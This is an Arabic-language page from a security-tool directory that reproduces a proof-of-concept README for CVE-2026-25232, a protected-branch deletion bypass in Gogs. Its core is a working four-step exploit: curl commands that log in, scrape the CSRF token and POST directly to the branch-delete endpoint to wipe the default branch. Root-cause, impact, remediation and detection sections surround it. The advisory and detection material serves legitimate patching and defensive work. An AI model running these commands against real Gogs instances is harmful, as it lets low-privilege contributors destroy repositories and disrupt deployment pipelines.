Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-25232-PoC — إثبات المفهوم لثغرة CVE-2026-25232 الأخيرة وهي ثغرة تصعيد صلاحيات موجودة في Gogs. | Kitploit
أدوات/GitHubGitHub/h1sok444/cve-2026-25232-poc
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubh1sok444/cve-2026-25232-poc

CVE-2026-25232-PoC

إثبات المفهوم لثغرة CVE-2026-25232 الأخيرة وهي ثغرة تصعيد صلاحيات موجودة في Gogs.

عرض المستودع
14منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-25232 — تجاوز حذف الفرع المحمي في Gogs (تصعيد من صلاحية الكتابة إلى صلاحية المدير)

نظرة عامة

الحقلالتفاصيل
CVECVE-2026-25232
المنتجGogs (خدمة Git بلغة Go)
الإصدارات المتأثرة<= 0.13.4
الإصدار المُصلَح0.14.1
درجة CVSSمتوسطة
CWECWE-863: تفويض غير صحيح
المصادقة المطلوبةنعم (صلاحيات كتابة على مستودع)
الأثرتصعيد الامتيازات من الكتابة إلى عمليات بمستوى المدير

الوصف

CVE-2026-25232 هو ثغرة في التحكم بالوصول في واجهة الويب الخاصة بـ Gogs. تسمح لأي مساهم في المستودع يملك صلاحيات الكتابة بحذف الفروع المحمية — بما في ذلك الفرع الافتراضي — عن طريق إرسال طلب POST مباشر إلى نقطة النهاية DeleteBranchPost، متجاوزًا تمامًا آليات حماية الفروع.

السبب الجذري هو تباين في كيفية تطبيق طبقة Git Hook وواجهة الويب لحماية الفروع:

  • Git Hooks (SSH): تمنع بشكل صحيح حذف الفروع المحمية عبر عمليات الدفع عبر SSH
  • واجهة الويب: دالة DeleteBranchPost لا تُطلق Git Hooks، لذلك لا يتم تنفيذ فحص الحماية أبدًا

يسمح هذا لمساهم بصلاحيات منخفضة بتنفيذ عمليات يجب أن تقتصر على مسؤولي المستودع فقط.


المتطلبات الأساسية

  • حساب مسجل في Gogs
  • صلاحيات كتابة على مستودع مستهدف
  • فروع محمية مُهيأة على المستودع المستهدف
  • وصول شبكي إلى واجهة الويب الخاصة بـ Gogs

إثبات المفهوم

البيئة

  • الهدف: http://<TARGET>:3001
  • حساب المهاجم: attacker:Password123! (صلاحيات كتابة على المستودع)
  • المستودع المستهدف: admin/important-repo
  • الفرع المحمي: main (الفرع الافتراضي)

الخطوة 1 — التحقق من تفعيل حماية الفرع

تأكد من أن الفرع محمي ولا يمكن حذفه بالوسائل العادية:

root@kitploit:~
# محاولة حذف الفرع عبر API بالطريقة العادية - يجب أن تفشل
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
  -u 'attacker:Password123!'

الاستجابة المتوقعة: 403 Forbidden أو خطأ حماية.


الخطوة 2 — الحصول على رمز CSRF صالح

اجلب رمز CSRF من أي صفحة موثقة:

root@kitploit:~
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/user/login' \
  -X POST \
  -d 'user_name=attacker&password=Password123!'

# استخراج رمز CSRF من صفحة مستودع
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/admin/important-repo' \
  | grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3

الخطوة 3 — تجاوز الحماية عبر POST مباشر إلى DeleteBranchPost

أرسل طلب POST مباشرًا إلى نقطة حذف الفرع، متجاوزًا فحص الحماية:

root@kitploit:~
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
  -b cookies.txt \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d '_csrf=<CSRF_TOKEN>&name=main'

يتم حذف الفرع المحمي على الرغم من أن المهاجم يملك صلاحيات كتابة فقط.


الخطوة 4 — التحقق من الحذف

root@kitploit:~
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
  -u 'attacker:Password123!'

لن يظهر الفرع main بعد الآن في الاستجابة.


لماذا ينجح هذا

دالة DeleteBranchPost في معالج الويب الخاص بـ Gogs تتحقق من أن المستخدم موثق ولديه صلاحية كتابة على المستودع، لكنها لا تتحقق مما إذا كان الفرع المستهدف محميًا:

root@kitploit:~
HTTP POST /owner/repo/branches/delete
    ↓
DeleteBranchPost()
    ↓
التحقق: هل المستخدم موثق؟ ✓
التحقق: هل يملك المستخدم صلاحية كتابة؟ ✓
التحقق: هل الفرع محمي؟ ✗ (مفقود)
    ↓
تم حذف الفرع بنجاح

طبقة Git Hook التي تفرض حماية الفروع لا يتم تفعيلها إلا أثناء عمليات الدفع/الحذف عبر SSH أو بروتوكول Git عبر HTTP — وليس أثناء عمليات واجهة الويب. هذه الفجوة المعمارية تعني أن أي مساهم بصلاحية كتابة يمكنه تنفيذ هذه العملية.


الأثر

يمكن لمساهم خبيث يملك صلاحيات كتابة أن:

  • يحذف أي فرع محمي بما في ذلك الفرع الافتراضي
  • يدمر الخط الرئيسي للتطوير في المستودع
  • يعطل خطوط CI/CD التي تعتمد على الفرع المحمي
  • يدفع بقوة أو يعيد إنشاء فروع بدون حماية، مما يتيح حقن كود في خطوط الإنتاج
  • يرفع الامتيازات الفعلية من الكتابة إلى مستوى المدير لعمليات إدارة الفروع

في البيئات التي تغذي فيها مستودعات Gogs خطوط نشر آلية، قد يؤدي هذا إلى اختراق سلسلة التوريد.


المعالجة

قم بالترقية إلى Gogs v0.14.1 أو أحدث. الإصلاح يضيف فحوصات تفويض مناسبة في دالة DeleteBranchPost للتحقق من حالة حماية الفرع قبل السماح بالحذف، بغض النظر عن كيفية إرسال الطلب.

كتخفيف مؤقت:

  • قصر صلاحية الكتابة على المستودع على المستخدمين الموثوقين للغاية فقط
  • تنفيذ ضوابط وصول على مستوى الشبكة لتحديد من يمكنه الوصول إلى واجهة الويب الخاصة بـ Gogs
  • مراقبة سجلات خادم الويب بحثًا عن طلبات POST غير متوقعة إلى /repos/{owner}/{repo}/branches/delete
  • استخدام حلول نسخ احتياطي خارجية للحفاظ على نسخ من الفروع المحمية

الاكتشاف

ابحث عن المؤشرات التالية للاستغلال:

  • طلبات POST غير متوقعة إلى /<owner>/<repo>/branches/delete في سجلات خادم الويب
  • فروع محمية تم حذفها دون نشاط Git Hook مطابق في السجلات
  • أحداث حذف فروع من قبل مستخدمين لا يملكون صلاحيات المدير
  • الفرع الافتراضي مفقود أو تم تغييره بشكل غير متوقع

المراجع

  • GitHub Security Advisory GHSA-2c6v-8r3v-gh6p
  • Gogs v0.14.1 Release
  • CWE-863: Incorrect Authorization

إخلاء المسؤولية

إثبات المفهوم هذا لأغراض تعليمية ولاختبارات الأمان المصرح بها فقط. لا تستخدمه ضد أنظمة لا تملك إذنًا صريحًا لاختبارها.

تنزيل الأداة